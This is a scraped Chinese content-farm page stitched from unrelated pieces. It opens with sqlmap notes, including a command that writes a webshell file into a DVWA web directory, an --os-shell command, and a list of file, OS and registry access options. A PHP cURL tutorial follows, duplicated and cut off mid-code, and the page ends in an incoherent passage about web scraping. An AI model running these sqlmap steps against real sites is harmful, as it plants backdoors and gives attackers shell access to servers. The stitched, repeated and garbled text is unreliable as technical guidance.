首先找到需要網(wǎng)站的物理路徑,其次需要有寫(xiě)權限或者讀權限。
--File-read=RFILE 從后端數據庫管理系統文件系統中讀取文件(物理路徑)
--File-write=WFILE 編輯后端數據庫管理系統文件系統上的本地文件(mssql xp_shell)
--File-dest=DFILE 后端數據庫管理系統寫(xiě)入的文件的絕對路徑
?。@樱?br /> sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\ webshel??l\1112.php"
使用 shell 命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下來(lái)指定網(wǎng)站的可寫(xiě)目錄:
"E:\php\htdocs\dvwa"
#注意:mysql不支持列出目錄,只支持讀取單個(gè)文件。sqlserver可以列出目錄,但是不能讀寫(xiě)文件,但是需要一個(gè)(xp_dirtree函數)
sqlmap詳細命令:
——————————————————————————————————————
選項:
sqlmap -u "" -dbs -o "sqlmap.log" 保存進(jìn)度
sqlmap -u "" -dbs -o "sqlmap.log" -resume 恢復保存的進(jìn)度
目標:
至少需要設置下面的選項之一來(lái)設置目標 URL。
要求:
這些選項可用于指定如何連接到目標 URL。
枚舉:
這些選項可用于列出后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行
您自己的 SQL 語(yǔ)句。
優(yōu)化:
這些選項可用于優(yōu)化 SqlMap 的性能。
注射:
這些選項可用于指定要測試的參數、提供自定義注入有效負載和可選的篡改腳本。
檢測:
這些選項可用于指定在 SQL 盲注期間如何解析和比較 HTTP 響應頁(yè)面的內容。
技巧:
這些選項可用于調整特定的 SQL 注入測試。
指紋: 蠻力:
這些選項可用于運行蠻力檢查。
用戶(hù)自定義函數注入:
這些選項可用于創(chuàng )建用戶(hù)定義的函數。
--udf-inject 注入用戶(hù)定義函數
--Shared-lib=SHLIB 共享庫本地路徑
文件系統訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的底層文件系統。
操作系統訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的底層操作系統。
Windows 注冊表訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的 Windows 注冊表。
這些選項可用于設置一些通用的工作參數。
雜項(雜項):
php抓取網(wǎng)頁(yè)指定內容(在PHP中如何運用cURLcURL檢查錯誤的語(yǔ)句(上))
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 40 次瀏覽 ? 2021-12-08 16:09
CURL 是一種使用 URL 語(yǔ)法規則來(lái)傳輸文件和數據的工具。它支持多種協(xié)議和選項,如HTTP、FTP、TELNET等,可以提供與URL請求相關(guān)的各種詳細信息。最好的部分是 PHP 還支持 cURL 庫。
本文將介紹cURL的一些高級特性以及如何在PHP中使用。
1 為什么使用卷曲?
是的,我們可以通過(guò)其他方式獲取網(wǎng)頁(yè)內容。很多時(shí)候,因為想偷懶,直接使用了簡(jiǎn)單的PHP file_get_contents() 函數:
$content=file_get_contents("http://www.awaimai.com");$lines=file("http://www.awaimai.com");readfile(http://www.awaimai.com);
然而,這種方法缺乏靈活性和有效的錯誤處理。而且,你不能用它來(lái)完成一些困難的任務(wù),比如處理:coockies、驗證、表單提交、文件上傳等等。
2 啟用卷曲
首先,我們首先要確定PHP是否啟用了這個(gè)庫。您可以使用 phpinfo() 函數獲取此信息。如果在網(wǎng)頁(yè)上看到如下輸出,則說(shuō)明cURL庫已開(kāi)啟。
如果 curl 沒(méi)有開(kāi)啟,那么你需要開(kāi)啟這個(gè)庫。如果是windows平臺下就很簡(jiǎn)單了,需要修改php.ini文件的設置,找到php_curl.dll,把前面的分號去掉。如下:
#取消下面的注釋extension=php_curl.dll
如果是Linux服務(wù)器,則需要重新編譯PHP,編譯時(shí)在configure命令中添加--with-curl參數。
3 基本結構
在學(xué)習更復雜的函數之前,我們先來(lái)看看在 PHP 中創(chuàng )建 cURL 請求的基本步驟:
初始化設置選項執行并獲取結果釋放cURL句柄
實(shí)現代碼如下:
// 1. 初始化$ch=curl_init();// 2. 設置選項curl_setopt($ch, CURLOPT_URL,"http://www.awaimai.com"); //設置要抓取的頁(yè)面地址curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //抓取結果直接返回(如果為0,則直接輸出內容到頁(yè)面)curl_setopt($ch, CURLOPT_HEADER, 0); // 不需要頁(yè)面的HTTP頭// 3. 執行并獲取HTML文檔內容,可用echo輸出內容$output = curl_exec($ch);// 4. 釋放curl句柄curl_close($ch)
第二步(也就是curl_setopt())是最重要的,所有的奧秘都在這里。有一長(cháng)串要設置的 cURL 參數,可以指定 URL 請求的詳細信息??赡芎茈y一口氣讀完和理解,所以今天我們只嘗試更常用和更有用的選項。
4 檢查錯誤
您可以在 cur_exec() 之后添加一個(gè)語(yǔ)句來(lái)檢查錯誤(盡管這不是必需的):
$output = curl_exec($ch);if($output===FALSE) { echo"cURL Error:". curl_error($ch);}
請注意,我們在比較時(shí)使用 === FALSE 而不是 == FALSE。因為我們必須區分空輸出和布爾值 FALSE,后者才是真正的錯誤。
5 獲取信息
使用 curl_getinfo() 獲取 curl 執行后請求的相關(guān)信息。當然,這也是一個(gè)可選設置:
curl_exec($ch);$info = curl_getinfo($ch);echo\'獲取\'.$info[\'url\'] . \'耗時(shí)\'. $info[\'total_time\'] . \'秒\';
返回的數組收錄以下信息:
6 基于瀏覽器的重定向
在第一個(gè)示例中,我們將提供一段代碼來(lái)檢測服務(wù)器是否具有基于瀏覽器的重定向。例如,某些網(wǎng)站 會(huì )根據是否是移動(dòng)瀏覽器甚至用戶(hù)來(lái)自哪個(gè)國家/地區來(lái)重定向網(wǎng)頁(yè)。
我們使用 CURLOPT_HTTPHEADER 選項來(lái)設置發(fā)出的 HTTP 標頭,包括用戶(hù)代理信息和默認語(yǔ)言。然后看看這些特定的 網(wǎng)站 是否會(huì )將我們重定向到不同的 URL。
//測試用的URL$urls=array("http://www.bbc.com","http://www.baidu.com","http://www.ubuntu.com");//測試用的瀏覽器信息$browsers=array("standard"=> array("user_agent"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)","language"=>"en-us,en;q=0.5"),"iphone"=> array("user_agent"=>"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A537a Safari/419.3","language"=>"en"),"french"=> array("user_agent"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727)","language"=>"fr,fr-FR;q=0.5"));foreach($urlsas$url) { echo"URL:$url\n<br />";foreach($browsersas$test_name=>$browser) { $ch=curl_init();// 設置 urlcurl_setopt($ch, CURLOPT_URL, $url);//設置瀏覽器的特定headercurl_setopt($ch, CURLOPT_HTTPHEADER, array("User-Agent: {$browser[\'user_agent\']}","Accept-Language: {$browser[\'language\']}"));//頁(yè)面內容我們并不需要curl_setopt($ch, CURLOPT_NOBODY, 1);// 只需返回HTTP headercurl_setopt($ch, CURLOPT_HEADER, 1);//返回結果,而不是輸出它c(diǎn)url_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch); curl_close($ch);//有重定向的HTTP頭信息嗎?if(preg_match("!Location: (.*)!", $output,$matches)) { echo"$test_name: redirects to $matches[1]\n<br />"; } else{echo"$test_name: no redirection\n<br />"; } } echo"\n\n<br /><br />";}
首先,我們創(chuàng )建一組需要測試的網(wǎng)址,然后指定一組需要測試的瀏覽器信息。最后,通過(guò)循環(huán)測試各種 URL 和瀏覽器匹配的可能情況。
因為我們指定了 CURLOPT_NOBODY 選項,所以返回的輸出內容只收錄 HTTP 頭信息(存儲在 $output 中)。使用一個(gè)簡(jiǎn)單的規則,我們檢查這個(gè)頭信息是否收錄單詞 Location:。
運行此代碼應返回以下結果:
RL: http://www.bbc.comstandard: no redirection iphone: no redirection french: no redirection URL: http://www.baidu.comstandard: redirects to https://www.baidu.com/iphone: no redirection french: redirects to https://www.baidu.com/URL: http://www.ubuntu.comstandard: redirects to http://www.ubuntu.com/index_kyliniphone: redirects to http://www.ubuntu.com/index_kylinfrench: redirects to http://www.ubuntu.com/index_kylin
7 使用POST方法發(fā)送數據
在發(fā)起 GET 請求時(shí),數據可以通過(guò)“查詢(xún)字符串”傳遞給一個(gè) URL。例如,在Bing中搜索時(shí)(鑒于Google需要FQ,使用Bing代替),搜索關(guān)鍵字是URL的查詢(xún)字符串的一部分
http://www.bing.com?q=awaimai.com
您可以使用 PHP 腳本模擬這種 URL 請求。首先新建一個(gè)可以接受并顯示POST數據的文件,我們命名為post_output.php,腳本內容為:
print_r($_POST);
接下來(lái),編寫(xiě)一個(gè) PHP 腳本來(lái)執行 cURL 請求:
$url ="http://localhost/post_output.php";$post_data=array("foo"=>"bar","query"=>"Nettuts","action"=>"Submit");$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//我們在POST數據哦!curl_setopt($ch, CURLOPT_POST, 1);//加上POST變量curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);$output = curl_exec($ch);curl_close($ch);echo$output;
執行代碼后,應該得到如下結果:
Array( [foo] => bar [query] => Nettuts [action] =>Submit)
此腳本向 post_output.php 發(fā)送 POST 請求,并在此頁(yè)面上返回 $_POST 變量。我們使用 cURL 捕獲了這個(gè)輸出。
8 文件上傳
上傳文件與之前的 POST 非常相似。因為所有的文件上傳表單都是通過(guò)POST方式提交的。首先新建一個(gè)頁(yè)面來(lái)接收文件,命名為upload_output.php,頁(yè)面內容:
print_r($_FILES);
以下是實(shí)際執行文件上傳任務(wù)的腳本,名為upload.php,內容如下:
$url ="http://localhost/upload_output.php";$post_data=array("foo"=>"bar", //要上傳的本地文件地址"upload"=>"@C:/wamp/www/test.zip");$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);$output = curl_exec($ch);curl_close($ch);echo$output;
如果需要上傳文件,只需要指定上傳的文件路徑并作為POST變量傳遞即可,但記得在前面加上@符號。執行此腳本應獲得類(lèi)似于以下內容的輸出:
Array( [upload] =>Array ( [name] => test.zip [type] => application/octet-stream [tmp_name] => C:\Windows\php1BB4.tmp [error] => 0[size]=> 487235))
9 cURL 批處理(多cURL)
cURL 還有一個(gè)高級功能:批處理句柄。此功能允許您同時(shí)或異步打開(kāi)多個(gè) URL 連接。以下是示例代碼:
//創(chuàng )建兩個(gè)cURL資源$ch1=curl_init();$ch2=curl_init();//指定URL和適當的參數curl_setopt($ch1, CURLOPT_URL,"http://lxr.php.net/");curl_setopt($ch1, CURLOPT_HEADER, 0);curl_setopt($ch2, CURLOPT_URL,"http://www.php.net/");curl_setopt($ch2, CURLOPT_HEADER, 0);//創(chuàng )建cURL批處理句柄$mh=curl_multi_init();//加上前面兩個(gè)資源句柄curl_multi_add_handle($mh,$ch1);curl_multi_add_handle($mh,$ch2);//預定義一個(gè)狀態(tài)變量$active=null;//執行批處理do{$mrc = curl_multi_exec($mh,$active);}while($mrc==CURLM_CALL_MULTI_PERFORM);while($active&&$mrc== CURLM_OK) { if(curl_multi_select($mh) != -1) { do{$mrc = curl_multi_exec($mh,$active); } while($mrc== CURLM_CALL_MULTI_PERFORM); }}//關(guān)閉各個(gè)句柄curl_multi_remove_handle($mh,$ch1);curl_multi_remove_handle($mh,$ch2);curl_multi_close($mh);
在這里您需要做的就是打開(kāi)多個(gè) cURL 句柄并將它們分配給一個(gè)批處理句柄。然后你只需要等待它在 while 循環(huán)中完成執行。
在這個(gè)例子中有兩個(gè)主要循環(huán)。第一個(gè) do-while 循環(huán)反復調用 curl_multi_exec()。該函數是非阻塞的,但會(huì )盡可能少地執行。它返回一個(gè)狀態(tài)值。只要這個(gè)值等于常量CURLM_CALL_MULTI_PERFORM,就意味著(zhù)還有一些緊急的工作要做(例如,發(fā)送對應URL的http頭信息)。換句話(huà)說(shuō),我們需要不斷調用函數,直到返回值發(fā)生變化。
以下 while 循環(huán)僅在 $active 變量為真時(shí)才會(huì )繼續。該變量之前作為第二個(gè)參數傳遞給 curl_multi_exec(),表示批處理句柄中是否存在活動(dòng)連接。接下來(lái),我們調用 curl_multi_select(),它在活動(dòng)連接(例如接受服務(wù)器響應)出現之前被“阻塞”。該函數執行成功后,我們將進(jìn)入另一個(gè)do-while循環(huán),繼續下一個(gè)URL。
下面我們來(lái)看看如何在實(shí)踐中使用這個(gè)功能:
9.1 個(gè) WordPress 鏈接檢查器
想象一下,您有大量的 文章 博客,而這些 文章 收錄大量外部 網(wǎng)站 鏈接。一段時(shí)間后,由于某種原因,其中相當多的鏈接失敗了。要么統一,要么整個(gè)網(wǎng)站都是功夫網(wǎng)……
下面我們來(lái)創(chuàng )建一個(gè)腳本來(lái)分析所有這些鏈接,找出無(wú)法打開(kāi)或404的網(wǎng)站/webpages,并生成報告。
請注意,以下并不是真正可用的WordPress插件,只是一個(gè)具有獨立功能的腳本,僅供演示,謝謝。
好的,讓我們開(kāi)始吧。首先,從數據庫中讀取所有這些鏈接:
// 配置 MySQL 數據庫$db_host = \'localhost\';$db_user = \'root\';$db_pass = \'\';$db_name = \'wordpress\';$excluded_domains=array(\'localhost\', \'www.mydomain.com\');$max_connections = 10;//初始化一些變量$url_list=array();$working_urls=array();$dead_urls=array();$not_found_urls=array();$active=null;// 連到 MySQLif(!mysql_connect($db_host,$db_user,$db_pass)) { die(\'Could not connect: \' . mysql_error());}if(!mysql_select_db($db_name)) { die(\'Could not select db: \' . mysql_error());}//找出所有含有鏈接的文章$sql ="SELECT post_content FROM wp_posts WHERE post_content LIKE \'%href=%\' AND post_status = \'publish\' AND post_type = \'post\'";$res=mysql_query($sql) or die(mysql_error());while($d=mysql_fetch_assoc($res)) { //用正則匹配鏈接if(preg_match_all("!href=\"(.*?)\"!",$d[\'post_content\'],$matches)) { foreach($matches[1]as$url) { //剔除排除的域名$tmp=parse_url($url);if(in_array($tmp[\'host\'],$excluded_domains)) { continue; } // 保存 URL$url_list[]=$url; } }}//移除重復鏈接$url_list=array_values(array_unique($url_list));if(!$url_list) { die(\'No URL to check\');}
我們首先配置數據庫,一系列要排除的域名($excluded_domains),以及最大同時(shí)連接數($max_connections)。然后,連接數據庫,獲取文章和收錄的鏈接,采集到一個(gè)數組中($url_list)。
下面的代碼有點(diǎn)復雜,我分小步詳細解釋一下:
<p>// 1. 批處理器$mh=curl_multi_init();// 2. 加入需批量處理的URLfor($i = 0; $i 查看全部
php抓取網(wǎng)頁(yè)指定內容(在PHP中如何運用cURLcURL檢查錯誤的語(yǔ)句(上))
CURL 是一種使用 URL 語(yǔ)法規則來(lái)傳輸文件和數據的工具。它支持多種協(xié)議和選項,如HTTP、FTP、TELNET等,可以提供與URL請求相關(guān)的各種詳細信息。最好的部分是 PHP 還支持 cURL 庫。
本文將介紹cURL的一些高級特性以及如何在PHP中使用。
1 為什么使用卷曲?
是的,我們可以通過(guò)其他方式獲取網(wǎng)頁(yè)內容。很多時(shí)候,因為想偷懶,直接使用了簡(jiǎn)單的PHP file_get_contents() 函數:
$content=file_get_contents("http://www.awaimai.com");$lines=file("http://www.awaimai.com");readfile(http://www.awaimai.com);
然而,這種方法缺乏靈活性和有效的錯誤處理。而且,你不能用它來(lái)完成一些困難的任務(wù),比如處理:coockies、驗證、表單提交、文件上傳等等。
2 啟用卷曲
首先,我們首先要確定PHP是否啟用了這個(gè)庫。您可以使用 phpinfo() 函數獲取此信息。如果在網(wǎng)頁(yè)上看到如下輸出,則說(shuō)明cURL庫已開(kāi)啟。
如果 curl 沒(méi)有開(kāi)啟,那么你需要開(kāi)啟這個(gè)庫。如果是windows平臺下就很簡(jiǎn)單了,需要修改php.ini文件的設置,找到php_curl.dll,把前面的分號去掉。如下:
#取消下面的注釋extension=php_curl.dll
如果是Linux服務(wù)器,則需要重新編譯PHP,編譯時(shí)在configure命令中添加--with-curl參數。
3 基本結構
在學(xué)習更復雜的函數之前,我們先來(lái)看看在 PHP 中創(chuàng )建 cURL 請求的基本步驟:
初始化設置選項執行并獲取結果釋放cURL句柄
實(shí)現代碼如下:
// 1. 初始化$ch=curl_init();// 2. 設置選項curl_setopt($ch, CURLOPT_URL,"http://www.awaimai.com"); //設置要抓取的頁(yè)面地址curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //抓取結果直接返回(如果為0,則直接輸出內容到頁(yè)面)curl_setopt($ch, CURLOPT_HEADER, 0); // 不需要頁(yè)面的HTTP頭// 3. 執行并獲取HTML文檔內容,可用echo輸出內容$output = curl_exec($ch);// 4. 釋放curl句柄curl_close($ch)
第二步(也就是curl_setopt())是最重要的,所有的奧秘都在這里。有一長(cháng)串要設置的 cURL 參數,可以指定 URL 請求的詳細信息??赡芎茈y一口氣讀完和理解,所以今天我們只嘗試更常用和更有用的選項。
4 檢查錯誤
您可以在 cur_exec() 之后添加一個(gè)語(yǔ)句來(lái)檢查錯誤(盡管這不是必需的):
$output = curl_exec($ch);if($output===FALSE) { echo"cURL Error:". curl_error($ch);}
請注意,我們在比較時(shí)使用 === FALSE 而不是 == FALSE。因為我們必須區分空輸出和布爾值 FALSE,后者才是真正的錯誤。
5 獲取信息
使用 curl_getinfo() 獲取 curl 執行后請求的相關(guān)信息。當然,這也是一個(gè)可選設置:
curl_exec($ch);$info = curl_getinfo($ch);echo\'獲取\'.$info[\'url\'] . \'耗時(shí)\'. $info[\'total_time\'] . \'秒\';
返回的數組收錄以下信息:
6 基于瀏覽器的重定向
在第一個(gè)示例中,我們將提供一段代碼來(lái)檢測服務(wù)器是否具有基于瀏覽器的重定向。例如,某些網(wǎng)站 會(huì )根據是否是移動(dòng)瀏覽器甚至用戶(hù)來(lái)自哪個(gè)國家/地區來(lái)重定向網(wǎng)頁(yè)。
我們使用 CURLOPT_HTTPHEADER 選項來(lái)設置發(fā)出的 HTTP 標頭,包括用戶(hù)代理信息和默認語(yǔ)言。然后看看這些特定的 網(wǎng)站 是否會(huì )將我們重定向到不同的 URL。
//測試用的URL$urls=array("http://www.bbc.com","http://www.baidu.com","http://www.ubuntu.com");//測試用的瀏覽器信息$browsers=array("standard"=> array("user_agent"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)","language"=>"en-us,en;q=0.5"),"iphone"=> array("user_agent"=>"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A537a Safari/419.3","language"=>"en"),"french"=> array("user_agent"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727)","language"=>"fr,fr-FR;q=0.5"));foreach($urlsas$url) { echo"URL:$url\n<br />";foreach($browsersas$test_name=>$browser) { $ch=curl_init();// 設置 urlcurl_setopt($ch, CURLOPT_URL, $url);//設置瀏覽器的特定headercurl_setopt($ch, CURLOPT_HTTPHEADER, array("User-Agent: {$browser[\'user_agent\']}","Accept-Language: {$browser[\'language\']}"));//頁(yè)面內容我們并不需要curl_setopt($ch, CURLOPT_NOBODY, 1);// 只需返回HTTP headercurl_setopt($ch, CURLOPT_HEADER, 1);//返回結果,而不是輸出它c(diǎn)url_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch); curl_close($ch);//有重定向的HTTP頭信息嗎?if(preg_match("!Location: (.*)!", $output,$matches)) { echo"$test_name: redirects to $matches[1]\n<br />"; } else{echo"$test_name: no redirection\n<br />"; } } echo"\n\n<br /><br />";}
首先,我們創(chuàng )建一組需要測試的網(wǎng)址,然后指定一組需要測試的瀏覽器信息。最后,通過(guò)循環(huán)測試各種 URL 和瀏覽器匹配的可能情況。
因為我們指定了 CURLOPT_NOBODY 選項,所以返回的輸出內容只收錄 HTTP 頭信息(存儲在 $output 中)。使用一個(gè)簡(jiǎn)單的規則,我們檢查這個(gè)頭信息是否收錄單詞 Location:。
運行此代碼應返回以下結果:
RL: http://www.bbc.comstandard: no redirection iphone: no redirection french: no redirection URL: http://www.baidu.comstandard: redirects to https://www.baidu.com/iphone: no redirection french: redirects to https://www.baidu.com/URL: http://www.ubuntu.comstandard: redirects to http://www.ubuntu.com/index_kyliniphone: redirects to http://www.ubuntu.com/index_kylinfrench: redirects to http://www.ubuntu.com/index_kylin
7 使用POST方法發(fā)送數據
在發(fā)起 GET 請求時(shí),數據可以通過(guò)“查詢(xún)字符串”傳遞給一個(gè) URL。例如,在Bing中搜索時(shí)(鑒于Google需要FQ,使用Bing代替),搜索關(guān)鍵字是URL的查詢(xún)字符串的一部分
http://www.bing.com?q=awaimai.com
您可以使用 PHP 腳本模擬這種 URL 請求。首先新建一個(gè)可以接受并顯示POST數據的文件,我們命名為post_output.php,腳本內容為:
print_r($_POST);
接下來(lái),編寫(xiě)一個(gè) PHP 腳本來(lái)執行 cURL 請求:
$url ="http://localhost/post_output.php";$post_data=array("foo"=>"bar","query"=>"Nettuts","action"=>"Submit");$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//我們在POST數據哦!curl_setopt($ch, CURLOPT_POST, 1);//加上POST變量curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);$output = curl_exec($ch);curl_close($ch);echo$output;
執行代碼后,應該得到如下結果:
Array( [foo] => bar [query] => Nettuts [action] =>Submit)
此腳本向 post_output.php 發(fā)送 POST 請求,并在此頁(yè)面上返回 $_POST 變量。我們使用 cURL 捕獲了這個(gè)輸出。
8 文件上傳
上傳文件與之前的 POST 非常相似。因為所有的文件上傳表單都是通過(guò)POST方式提交的。首先新建一個(gè)頁(yè)面來(lái)接收文件,命名為upload_output.php,頁(yè)面內容:
print_r($_FILES);
以下是實(shí)際執行文件上傳任務(wù)的腳本,名為upload.php,內容如下:
$url ="http://localhost/upload_output.php";$post_data=array("foo"=>"bar", //要上傳的本地文件地址"upload"=>"@C:/wamp/www/test.zip");$ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);$output = curl_exec($ch);curl_close($ch);echo$output;
如果需要上傳文件,只需要指定上傳的文件路徑并作為POST變量傳遞即可,但記得在前面加上@符號。執行此腳本應獲得類(lèi)似于以下內容的輸出:
Array( [upload] =>Array ( [name] => test.zip [type] => application/octet-stream [tmp_name] => C:\Windows\php1BB4.tmp [error] => 0[size]=> 487235))
9 cURL 批處理(多cURL)
cURL 還有一個(gè)高級功能:批處理句柄。此功能允許您同時(shí)或異步打開(kāi)多個(gè) URL 連接。以下是示例代碼:
//創(chuàng )建兩個(gè)cURL資源$ch1=curl_init();$ch2=curl_init();//指定URL和適當的參數curl_setopt($ch1, CURLOPT_URL,"http://lxr.php.net/");curl_setopt($ch1, CURLOPT_HEADER, 0);curl_setopt($ch2, CURLOPT_URL,"http://www.php.net/");curl_setopt($ch2, CURLOPT_HEADER, 0);//創(chuàng )建cURL批處理句柄$mh=curl_multi_init();//加上前面兩個(gè)資源句柄curl_multi_add_handle($mh,$ch1);curl_multi_add_handle($mh,$ch2);//預定義一個(gè)狀態(tài)變量$active=null;//執行批處理do{$mrc = curl_multi_exec($mh,$active);}while($mrc==CURLM_CALL_MULTI_PERFORM);while($active&&$mrc== CURLM_OK) { if(curl_multi_select($mh) != -1) { do{$mrc = curl_multi_exec($mh,$active); } while($mrc== CURLM_CALL_MULTI_PERFORM); }}//關(guān)閉各個(gè)句柄curl_multi_remove_handle($mh,$ch1);curl_multi_remove_handle($mh,$ch2);curl_multi_close($mh);
在這里您需要做的就是打開(kāi)多個(gè) cURL 句柄并將它們分配給一個(gè)批處理句柄。然后你只需要等待它在 while 循環(huán)中完成執行。
在這個(gè)例子中有兩個(gè)主要循環(huán)。第一個(gè) do-while 循環(huán)反復調用 curl_multi_exec()。該函數是非阻塞的,但會(huì )盡可能少地執行。它返回一個(gè)狀態(tài)值。只要這個(gè)值等于常量CURLM_CALL_MULTI_PERFORM,就意味著(zhù)還有一些緊急的工作要做(例如,發(fā)送對應URL的http頭信息)。換句話(huà)說(shuō),我們需要不斷調用函數,直到返回值發(fā)生變化。
以下 while 循環(huán)僅在 $active 變量為真時(shí)才會(huì )繼續。該變量之前作為第二個(gè)參數傳遞給 curl_multi_exec(),表示批處理句柄中是否存在活動(dòng)連接。接下來(lái),我們調用 curl_multi_select(),它在活動(dòng)連接(例如接受服務(wù)器響應)出現之前被“阻塞”。該函數執行成功后,我們將進(jìn)入另一個(gè)do-while循環(huán),繼續下一個(gè)URL。
下面我們來(lái)看看如何在實(shí)踐中使用這個(gè)功能:
9.1 個(gè) WordPress 鏈接檢查器
想象一下,您有大量的 文章 博客,而這些 文章 收錄大量外部 網(wǎng)站 鏈接。一段時(shí)間后,由于某種原因,其中相當多的鏈接失敗了。要么統一,要么整個(gè)網(wǎng)站都是功夫網(wǎng)……
下面我們來(lái)創(chuàng )建一個(gè)腳本來(lái)分析所有這些鏈接,找出無(wú)法打開(kāi)或404的網(wǎng)站/webpages,并生成報告。
請注意,以下并不是真正可用的WordPress插件,只是一個(gè)具有獨立功能的腳本,僅供演示,謝謝。
好的,讓我們開(kāi)始吧。首先,從數據庫中讀取所有這些鏈接:
// 配置 MySQL 數據庫$db_host = \'localhost\';$db_user = \'root\';$db_pass = \'\';$db_name = \'wordpress\';$excluded_domains=array(\'localhost\', \'www.mydomain.com\');$max_connections = 10;//初始化一些變量$url_list=array();$working_urls=array();$dead_urls=array();$not_found_urls=array();$active=null;// 連到 MySQLif(!mysql_connect($db_host,$db_user,$db_pass)) { die(\'Could not connect: \' . mysql_error());}if(!mysql_select_db($db_name)) { die(\'Could not select db: \' . mysql_error());}//找出所有含有鏈接的文章$sql ="SELECT post_content FROM wp_posts WHERE post_content LIKE \'%href=%\' AND post_status = \'publish\' AND post_type = \'post\'";$res=mysql_query($sql) or die(mysql_error());while($d=mysql_fetch_assoc($res)) { //用正則匹配鏈接if(preg_match_all("!href=\"(.*?)\"!",$d[\'post_content\'],$matches)) { foreach($matches[1]as$url) { //剔除排除的域名$tmp=parse_url($url);if(in_array($tmp[\'host\'],$excluded_domains)) { continue; } // 保存 URL$url_list[]=$url; } }}//移除重復鏈接$url_list=array_values(array_unique($url_list));if(!$url_list) { die(\'No URL to check\');}
我們首先配置數據庫,一系列要排除的域名($excluded_domains),以及最大同時(shí)連接數($max_connections)。然后,連接數據庫,獲取文章和收錄的鏈接,采集到一個(gè)數組中($url_list)。
下面的代碼有點(diǎn)復雜,我分小步詳細解釋一下:
<p>// 1. 批處理器$mh=curl_multi_init();// 2. 加入需批量處理的URLfor($i = 0; $i
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容的文件是什么?php網(wǎng)頁(yè)內容)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 97 次瀏覽 ? 2021-12-01 07:09
php抓取網(wǎng)頁(yè)指定內容的文件,這是一個(gè)最簡(jiǎn)單的分析網(wǎng)頁(yè)的功能,但是往往不用指定網(wǎng)址,所以總有人問(wèn)我為什么?當然這可能是現在抓包技術(shù)不夠發(fā)達所造成的,我們今天來(lái)實(shí)現下php抓取網(wǎng)所有商品的網(wǎng)頁(yè)內容的功能。首先我們寫(xiě)下自己的測試程序:1.打開(kāi)瀏覽器,然后輸入我們在某信息競賽網(wǎng)站注冊成功的賬號和密碼,開(kāi)始搜索。
hao2211.php/,然后出現12個(gè)頁(yè)面。2.都是互聯(lián)網(wǎng)站點(diǎn)的網(wǎng)頁(yè)內容。3.那么我們就可以在瀏覽器上下載,比如百度輸入站點(diǎn)(鏈接),出現域名解析頁(yè)面。4.這是php對象解析頁(yè)面,可以看到php解析頁(yè)面,本質(zhì)上就是抓包工具,和get包工具不同,get解析網(wǎng)頁(yè)時(shí),獲取的是一個(gè)網(wǎng)站的ip地址,然后用這個(gè)ip地址所對應的網(wǎng)站的域名進(jìn)行解析,傳遞給解析工具解析,同時(shí)實(shí)現網(wǎng)站域名、ip地址和網(wǎng)站ip的綁定,這個(gè)頁(yè)面就可以理解為murls中的server頁(yè)。
所以就可以抓包,解析一個(gè)網(wǎng)站的網(wǎng)頁(yè)內容和ip地址關(guān)系圖如下:5.我們就要用到mongodb,其實(shí)我們有些用erq解析這個(gè)網(wǎng)站的,無(wú)非是花了點(diǎn)時(shí)間和錢(qián)而已,可以直接用erq實(shí)現。注意這里不使用erq原因是因為oracle客戶(hù)端一個(gè)賬號只能注冊4個(gè),一年700元,數據庫還是要用mongodb,免費。這里只寫(xiě)一下方法:雙擊php文件“”把的配置信息中的uri地址設置為指定域名解析以后,在瀏覽器重新訪(fǎng)問(wèn)這個(gè)網(wǎng)站的域名,就會(huì )打開(kāi)我們的php網(wǎng)頁(yè),就可以獲取到網(wǎng)頁(yè)內容了。
抓包就是將網(wǎng)站的源代碼,我們自己的數據庫的數據,放到自己服務(wù)器里面,然后使用工具解析出網(wǎng)頁(yè)內容。比如下面是正常的解析流程:抓包就是兩件事,一個(gè)是將我們網(wǎng)站的源代碼(也就是ip地址),我們自己的數據庫的數據,放到指定地址下;一個(gè)是數據庫查詢(xún)出網(wǎng)頁(yè)內容。erq一次可以處理多次,時(shí)效不同,抓包最多抓20個(gè)。
